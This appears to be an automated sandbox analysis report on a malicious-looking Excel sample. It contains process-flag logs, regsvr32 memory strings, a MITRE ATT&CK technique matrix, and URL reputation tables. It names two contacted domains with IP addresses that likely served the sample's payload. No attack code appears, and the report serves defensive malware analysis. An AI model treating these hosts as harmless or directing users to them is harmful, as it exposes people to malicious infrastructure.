    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\splwow64.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\splwow64.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\splwow64.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\splwow64.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\splwow64.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\splwow64.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\splwow64.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\splwow64.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\splwow64.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\splwow64.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\splwow64.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\splwow64.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\splwow64.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\splwow64.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\splwow64.exeWindow / User API: threadDelayed 1112Jump to behavior
    Source: C:\Windows\splwow64.exeLast function: Thread delayed
    Source: C:\Windows\splwow64.exeLast function: Thread delayed
    Source: C:\Windows\splwow64.exeThread delayed: delay time: 120000Jump to behavior
    Source: C:\Windows\splwow64.exeThread delayed: delay time: 120000Jump to behavior
    Source: regsvr32.exe, 00000004.00000002.231676200.0000000000840000.00000002.00000001.sdmpBinary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
    Source: regsvr32.exe, 00000004.00000002.231676200.0000000000840000.00000002.00000001.sdmpBinary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
    Source: regsvr32.exe, 00000004.00000002.231676200.0000000000840000.00000002.00000001.sdmpBinary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
    Source: regsvr32.exe, 00000004.00000002.231676200.0000000000840000.00000002.00000001.sdmpBinary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
    Source: Yara matchFile source: app.xml, type: SAMPLE

    Mitre Att&ck Matrix

    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
    Valid AccountsScripting2DLL Side-Loading1Process Injection1Masquerading1OS Credential DumpingSecurity Software Discovery1Remote ServicesData from Local SystemExfiltration Over Other Network MediumEncrypted Channel2Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
    Default AccountsExploitation for Client Execution23Boot or Logon Initialization ScriptsDLL Side-Loading1Disable or Modify Tools1LSASS MemoryVirtualization/Sandbox Evasion1Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothNon-Application Layer Protocol1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
    Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Virtualization/Sandbox Evasion1Security Account ManagerApplication Window Discovery1SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationApplication Layer Protocol2Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
    Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Process Injection1NTDSFile and Directory Discovery1Distributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
    Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptScripting2LSA SecretsSystem Information Discovery2SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
    Replication Through Removable MediaLaunchdRc.commonRc.commonRegsvr321Cached Domain CredentialsSystem Owner/User DiscoveryVNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
    External Remote ServicesScheduled TaskStartup ItemsStartup ItemsDLL Side-Loading1DCSyncNetwork SniffingWindows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.

    windows-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    SourceDetectionScannerLabelLink
    research-1234799369.xlsb10%VirustotalBrowse

    Dropped Files

    No Antivirus matches

    Unpacked PE Files

    No Antivirus matches

    Domains

    No Antivirus matches

    URLs

    SourceDetectionScannerLabelLink
    https://cdn.entity.0%URL Reputationsafe
    https://cdn.entity.0%URL Reputationsafe
    https://cdn.entity.0%URL Reputationsafe
    https://cdn.entity.0%URL Reputationsafe
    https://powerlift.acompli.net0%URL Reputationsafe
    https://powerlift.acompli.net0%URL Reputationsafe
    https://powerlift.acompli.net0%URL Reputationsafe
    https://powerlift.acompli.net0%URL Reputationsafe
    https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
    https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
    https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
    https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
    https://cortana.ai0%URL Reputationsafe
    https://cortana.ai0%URL Reputationsafe
    https://cortana.ai0%URL Reputationsafe
    https://cortana.ai0%URL Reputationsafe
    https://api.aadrm.com/0%URL Reputationsafe
    https://api.aadrm.com/0%URL Reputationsafe
    https://api.aadrm.com/0%URL Reputationsafe
    https://api.aadrm.com/0%URL Reputationsafe
    https://ofcrecsvcapi-int.azurewebsites.net/0%VirustotalBrowse
    https://ofcrecsvcapi-int.azurewebsites.net/0%Avira URL Cloudsafe
    https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
    https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
    https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
    https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
    https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
    https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
    https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
    https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
    https://officeci.azurewebsites.net/api/0%VirustotalBrowse
    https://officeci.azurewebsites.net/api/0%Avira URL Cloudsafe
    https://store.office.cn/addinstemplate0%URL Reputationsafe
    https://store.office.cn/addinstemplate0%URL Reputationsafe
    https://store.office.cn/addinstemplate0%URL Reputationsafe
    https://store.office.cn/addinstemplate0%URL Reputationsafe
    https://store.officeppe.com/addinstemplate0%URL Reputationsafe
    https://store.officeppe.com/addinstemplate0%URL Reputationsafe
    https://store.officeppe.com/addinstemplate0%URL Reputationsafe
    https://store.officeppe.com/addinstemplate0%URL Reputationsafe
    https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
    https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
    https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
    https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
    https://www.odwebp.svc.ms0%URL Reputationsafe
    https://www.odwebp.svc.ms0%URL Reputationsafe
    https://www.odwebp.svc.ms0%URL Reputationsafe
    https://www.odwebp.svc.ms0%URL Reputationsafe
    https://dataservice.o365filtering.com/0%URL Reputationsafe
    https://dataservice.o365filtering.com/0%URL Reputationsafe
    https://dataservice.o365filtering.com/0%URL Reputationsafe
    https://dataservice.o365filtering.com/0%URL Reputationsafe
    https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
    https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
    https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
    https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
    https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
    https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
    https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
    https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
    https://ncus.contentsync.0%URL Reputationsafe
    https://ncus.contentsync.0%URL Reputationsafe
    https://ncus.contentsync.0%URL Reputationsafe
    https://ncus.contentsync.0%URL Reputationsafe
    https://apis.live.net/v5.0/0%URL Reputationsafe
    https://apis.live.net/v5.0/0%URL Reputationsafe
    https://apis.live.net/v5.0/0%URL Reputationsafe
    https://apis.live.net/v5.0/0%URL Reputationsafe
    https://wus2.contentsync.0%URL Reputationsafe
    https://wus2.contentsync.0%URL Reputationsafe
    https://wus2.contentsync.0%URL Reputationsafe
    https://wus2.contentsync.0%URL Reputationsafe
    https://asgsmsproxyapi.azurewebsites.net/0%VirustotalBrowse
    https://asgsmsproxyapi.azurewebsites.net/0%Avira URL Cloudsafe
    https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
    https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
    https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
    https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
    https://ncus.pagecontentsync.0%URL Reputationsafe
    https://ncus.pagecontentsync.0%URL Reputationsafe
    https://ncus.pagecontentsync.0%URL Reputationsafe
    https://ncus.pagecontentsync.0%URL Reputationsafe
    https://skyapi.live.net/Activity/0%URL Reputationsafe
    https://skyapi.live.net/Activity/0%URL Reputationsafe
    https://skyapi.live.net/Activity/0%URL Reputationsafe
    https://skyapi.live.net/Activity/0%URL Reputationsafe
    https://dataservice.o365filtering.com0%URL Reputationsafe
    https://dataservice.o365filtering.com0%URL Reputationsafe
    https://dataservice.o365filtering.com0%URL Reputationsafe
    https://dataservice.o365filtering.com0%URL Reputationsafe
    https://api.cortana.ai0%URL Reputationsafe
    https://api.cortana.ai0%URL Reputationsafe
    https://api.cortana.ai0%URL Reputationsafe
    https://api.cortana.ai0%URL Reputationsafe
    https://ovisualuiapp.azurewebsites.net/pbiagave/0%Avira URL Cloudsafe
    https://directory.services.0%URL Reputationsafe
    https://directory.services.0%URL Reputationsafe
    https://directory.services.0%URL Reputationsafe
    https://staging.cortana.ai0%URL Reputationsafe
    https://staging.cortana.ai0%URL Reputationsafe

    Domains and IPs

    Contacted Domains

    NameIPActiveMaliciousAntivirus DetectionReputation
    tisindia.com
    67.227.192.75
    truefalse
      high
      eimathsuae.com
      52.220.160.98
      truefalse
        unknown

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        https://api.diagnosticssdf.office.com342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
          high
          https://login.microsoftonline.com/342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
            high
            https://shell.suite.office.com:1443342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
              high
              https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                high
                https://autodiscover-s.outlook.com/342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                  high
                  https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                    high
                    https://cdn.entity.342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    • URL Reputation: safe
                    unknown
                    https://api.addins.omex.office.net/appinfo/query342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                      high
                      https://clients.config.office.net/user/v1.0/tenantassociationkey342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                        high
                        https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                          high
                          https://powerlift.acompli.net342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                          • URL Reputation: safe
                          • URL Reputation: safe
                          • URL Reputation: safe
                          • URL Reputation: safe
                          unknown
                          https://rpsticket.partnerservices.getmicrosoftkey.com342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                          • URL Reputation: safe
                          • URL Reputation: safe
                          • URL Reputation: safe
                          • URL Reputation: safe
                          unknown
                          https://lookup.onenote.com/lookup/geolocation/v1342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                            high
                            https://cortana.ai342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                            • URL Reputation: safe
                            • URL Reputation: safe
                            • URL Reputation: safe
                            • URL Reputation: safe
                            unknown
                            https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                              high
                              https://cloudfiles.onenote.com/upload.aspx342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                high
                                https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                  high
                                  https://entitlement.diagnosticssdf.office.com342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                    high
                                    https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                      high
                                      https://api.aadrm.com/342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      • URL Reputation: safe
                                      unknown
                                      https://ofcrecsvcapi-int.azurewebsites.net/342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                      • 0%, Virustotal, Browse
                                      • Avira URL Cloud: safe
                                      unknown
                                      https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                        high
                                        https://api.microsoftstream.com/api/342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                          high
                                          https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                            high
                                            https://cr.office.com342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                              high
                                              https://portal.office.com/account/?ref=ClientMeControl342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                high
                                                https://graph.ppe.windows.net342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                  high
                                                  https://res.getmicrosoftkey.com/api/redemptionevents342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  unknown
                                                  https://powerlift-frontdesk.acompli.net342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  • URL Reputation: safe
                                                  unknown
                                                  https://tasks.office.com342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                    high
                                                    https://officeci.azurewebsites.net/api/342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                    • 0%, Virustotal, Browse
                                                    • Avira URL Cloud: safe
                                                    unknown
                                                    https://sr.outlook.office.net/ws/speech/recognize/assistant/work342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                      high
                                                      https://store.office.cn/addinstemplate342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      • URL Reputation: safe
                                                      unknown
                                                      https://outlook.office.com/autosuggest/api/v1/init?cvid=342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                        high
                                                        https://globaldisco.crm.dynamics.com342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                          high
                                                          https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                            high
                                                            https://store.officeppe.com/addinstemplate342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                            • URL Reputation: safe
                                                            • URL Reputation: safe
                                                            • URL Reputation: safe
                                                            • URL Reputation: safe
                                                            unknown
                                                            https://dev0-api.acompli.net/autodetect342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                            • URL Reputation: safe
                                                            • URL Reputation: safe
                                                            • URL Reputation: safe
                                                            • URL Reputation: safe
                                                            unknown
                                                            https://www.odwebp.svc.ms342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                            • URL Reputation: safe
                                                            • URL Reputation: safe
                                                            • URL Reputation: safe
                                                            • URL Reputation: safe
                                                            unknown
                                                            https://api.powerbi.com/v1.0/myorg/groups342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                              high
                                                              https://web.microsoftstream.com/video/342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                high
                                                                https://graph.windows.net342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                  high
                                                                  https://dataservice.o365filtering.com/342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                  • URL Reputation: safe
                                                                  • URL Reputation: safe
                                                                  • URL Reputation: safe
                                                                  • URL Reputation: safe
                                                                  unknown
                                                                  https://officesetup.getmicrosoftkey.com342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                  • URL Reputation: safe
                                                                  • URL Reputation: safe
                                                                  • URL Reputation: safe
                                                                  • URL Reputation: safe
                                                                  unknown
                                                                  https://analysis.windows.net/powerbi/api342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                    high
                                                                    https://prod-global-autodetect.acompli.net/autodetect342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                    • URL Reputation: safe
                                                                    • URL Reputation: safe
                                                                    • URL Reputation: safe
                                                                    • URL Reputation: safe
                                                                    unknown
                                                                    https://outlook.office365.com/autodiscover/autodiscover.json342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                      high
                                                                      https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                        high
                                                                        https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                          high
                                                                          https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                            high
                                                                            https://ncus.contentsync.342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                            • URL Reputation: safe
                                                                            • URL Reputation: safe
                                                                            • URL Reputation: safe
                                                                            • URL Reputation: safe
                                                                            unknown
                                                                            https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                              high
                                                                              https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                high
                                                                                http://weather.service.msn.com/data.aspx342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                  high
                                                                                  https://apis.live.net/v5.0/342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                  • URL Reputation: safe
                                                                                  • URL Reputation: safe
                                                                                  • URL Reputation: safe
                                                                                  • URL Reputation: safe
                                                                                  unknown
                                                                                  https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                    high
                                                                                    https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                      high
                                                                                      https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                        high
                                                                                        https://management.azure.com342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                          high
                                                                                          https://wus2.contentsync.342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                          • URL Reputation: safe
                                                                                          • URL Reputation: safe
                                                                                          • URL Reputation: safe
                                                                                          • URL Reputation: safe
                                                                                          unknown
                                                                                          https://incidents.diagnostics.office.com342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                            high
                                                                                            https://clients.config.office.net/user/v1.0/ios342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                              high
                                                                                              https://insertmedia.bing.office.net/odc/insertmedia342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                high
                                                                                                https://o365auditrealtimeingestion.manage.office.com342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                  high
                                                                                                  https://outlook.office365.com/api/v1.0/me/Activities342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                    high
                                                                                                    https://api.office.net342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                      high
                                                                                                      https://incidents.diagnosticssdf.office.com342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                        high
                                                                                                        https://asgsmsproxyapi.azurewebsites.net/342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                        • 0%, Virustotal, Browse
                                                                                                        • Avira URL Cloud: safe
                                                                                                        unknown
                                                                                                        https://clients.config.office.net/user/v1.0/android/policies342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                          high
                                                                                                          https://entitlement.diagnostics.office.com342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                            high
                                                                                                            https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                              high
                                                                                                              https://outlook.office.com/342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                high
                                                                                                                https://storage.live.com/clientlogs/uploadlocation342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                  high
                                                                                                                  https://templatelogging.office.com/client/log342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                    high
                                                                                                                    https://outlook.office365.com/342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                      high
                                                                                                                      https://webshell.suite.office.com342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                        high
                                                                                                                        https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                          high
                                                                                                                          https://management.azure.com/342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                            high
                                                                                                                            https://login.windows.net/common/oauth2/authorize342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                              high
                                                                                                                              https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                              • URL Reputation: safe
                                                                                                                              • URL Reputation: safe
                                                                                                                              • URL Reputation: safe
                                                                                                                              • URL Reputation: safe
                                                                                                                              unknown
                                                                                                                              https://graph.windows.net/342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                                high
                                                                                                                                https://api.powerbi.com/beta/myorg/imports342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                                  high
                                                                                                                                  https://devnull.onenote.com342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                                    high
                                                                                                                                    https://ncus.pagecontentsync.342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                                    • URL Reputation: safe
                                                                                                                                    • URL Reputation: safe
                                                                                                                                    • URL Reputation: safe
                                                                                                                                    • URL Reputation: safe
                                                                                                                                    unknown
                                                                                                                                    https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                                      high
                                                                                                                                      https://messaging.office.com/342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                                        high
                                                                                                                                        https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                                          high
                                                                                                                                          https://augloop.office.com/v2342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                                            high
                                                                                                                                            https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                                              high
                                                                                                                                              https://skyapi.live.net/Activity/342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              unknown
                                                                                                                                              https://clients.config.office.net/user/v1.0/mac342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                                                high
                                                                                                                                                https://dataservice.o365filtering.com342A5005-7391-419E-8552-26772D1EF86E.0.drfalse
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                unknown
